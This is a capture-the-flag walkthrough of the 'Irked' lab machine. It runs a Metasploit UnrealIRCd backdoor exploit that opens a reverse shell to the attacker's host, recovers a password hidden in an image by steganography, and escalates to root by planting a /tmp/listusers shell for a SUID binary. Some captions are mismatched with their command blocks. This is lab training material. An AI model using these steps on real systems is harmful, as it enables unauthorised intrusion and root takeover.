Irked

- As an initial step, used **Nmap** tool to scan the system for open ports and services.

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33846/udp   status
|   100024  1          34998/udp6  status
|   100024  1          35664/tcp   status
|_  100024  1          55207/tcp6  status
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
35664/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

- With the results from **nmap**, we see that there is a IRC relay port open at 8067. Next, check the version of the Unreal IRC installed which is Unreal 3.2.8.1.

```
20:34 -!- Welcome to the ROXnet IRC Network kali!kali@10.10.14.2
20:34 -!- Your host is irked.htb, running version Unreal3.2.8.1
20:34 -!- This server was created Mon May 14 2018 at 13:12:50 EDT
```

- Next, search for any public exploits for the Unreal version using the tool **searchsploit.**

```
┌──(kali㉿kali)-[~]
└─$ searchsploit Unreal 3.2.8.1
------------------------------------------------------------------------------
 Exploit Title
------------------------------------------------------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute
------------------------------------------------------------------------------
Shellcodes: No Results
```

- The first exploit seems to have a backdoor installed on the software which can be used further to exploit and get a remote code execution on the server opened with the service.

```
msf6 > search unreal 3.2.8.1

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution
```

- Set all the options requested on the module of the Metasploit and run the module.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.129.251.20
RHOSTS ⇒ 10.129.251.20
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 10.10.14.2
LHOST ⇒ 10.10.14.2
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
```

- As the module is run, it tries AB command as the payload and finally gets the remote code access on the server.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP double handler on 10.10.14.2:4444
[*] 10.129.251.20:65534 - Connected to 10.129.251.20:65534 ...
    :irked.htb NOTICE AUTH :*** Looking up your hostname ...
[*] 10.129.251.20:65534 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo UWKnkqTL73em9OkV;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket A
[*] A: "UWKnkqTL73em9OkV\r\n"
[*] Matching ...
[*] B is input ...
[*] Command shell session 1 opened (10.10.14.2:4444 → 10.129.251.20:33025) at 2023-03-07 20:46:18 -0500

whoami
ircd
id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
```

- As checked, the remote code access we get on the server has limited access.
- After searching through the server with the limited access, there is a .**backup** file which shows some passwords which can be used to perform steganography and extract data.

```
ircd@irked:/home/djmardov/Documents$ cat .backup
cat .backup
Super elite steg backup pw
```

- The only image found on the server was on the web application running on port 80 on the server. Hence downloaded the same and used **steghide** tool to extract the file hidden inside the image.

```
┌──(kali㉿kali)-[~/Irked]
└─$ steghide --extract -sf irked.jpg
Enter passphrase:
wrote extracted data to "pass.txt".
```

- There seems to be a **pass.txt** file present inside the image and once opened it contained a unique password as the name of the file suggests.
- With port 22 open on the server as we found in the nmap results, used the password to login to the another user present on the server which is – **djmardov.**

```
┌──(kali㉿kali)-[~/Irked]
└─$ ssh djmardov@10.129.251.20
The authenticity of host '10.129.251.20 (10.129.251.20)' can't be established.
ED25519 key fingerprint is SHA256:Ej828KWlDpyEOvOxHAspautgmarzw646NS31tX3puFg.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.251.20' (ED25519) to the list of known hosts.
Kab6h+m+bbp2J:HG
djmardov@10.129.251.20's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 15 08:56:32 2018 from 10.33.3.3
djmardov@irked:~$
```

- The credentials were successful and we were able to open up a SSH session on the server.
- Next, I tried to scan through the server completely and could not find any useful resource to get access to root folder of the server.
- Lastly I tried to find the files which had permissions of a root user and was also able to be altered and found a file called **viewuser**.

```
djmardov@irked:/$ find / -type f -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/sbin/exim4
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/bin/su
/bin/mount
/bin/fusermount
/bin/ntfs-3g
/bin/umount
```

- The above results show the files.

```
djmardov@irked:/$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2023-03-07 19:39 (:0)
djmardov pts/1        2023-03-07 21:04 (10.10.14.2)
sh: 1: /tmp/listusers: not found
```

- When run the file - **/viewuser**, it got terminated because of the non-existence of the file - **listusers.**

```
┌──(kali㉿kali)-[~/Irked]
└─$ scp djmardov@10.129.251.20:/usr/bin/viewuser viewuser
djmardov@10.129.251.20's password:
viewuser
```

- To understand more about the executable, we copied to our local system to re-run it.

```
djmardov@irked:/$ cd tmp
djmardov@irked:/tmp$ printf '/bin/sh' > listusers
djmardov@irked:/tmp$ ls -al
total 52
drwxrwxrwt 11 root     root     4096 Mar  7 21:26 .
drwxr-xr-x 21 root     root     4096 Sep  5  2022 ..
drwxrwxrwt  2 root     root     4096 Mar  7 19:39 .font-unix
drwxrwxrwt  2 root     root     4096 Mar  7 19:39 .ICE-unix
-rw-r--r--  1 djmardov djmardov    7 Mar  7 21:26 listusers
```

- Once re-run it using the tool **ltrace,** we could see that the file was being executed to set and test user permissions.

```
djmardov@irked:/tmp$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2023-03-07 19:39 (:0)
djmardov pts/1        2023-03-07 21:04 (10.10.14.2)
sh: 1: /tmp/listusers: Permission denied
```

- Hence, we created a random file with a malicious code and saved it in the tmp folder with the name – **listusers** which the **viewuser** application was calling when executed.

```
djmardov@irked:/tmp$ chmod a+x listusers
```

- Once we run the application with all the files in place, it gets successfully executed and we get root access.

```
djmardov@irked:/tmp$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2023-03-07 19:39 (:0)
djmardov pts/1        2023-03-07 21:04 (10.10.14.2)
# id
uid=0(root) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),
#
```

- With the root access, the **root.txt** file was accessible and found the flag.

```
# cat root.txt
[redacted]5
# cd home
```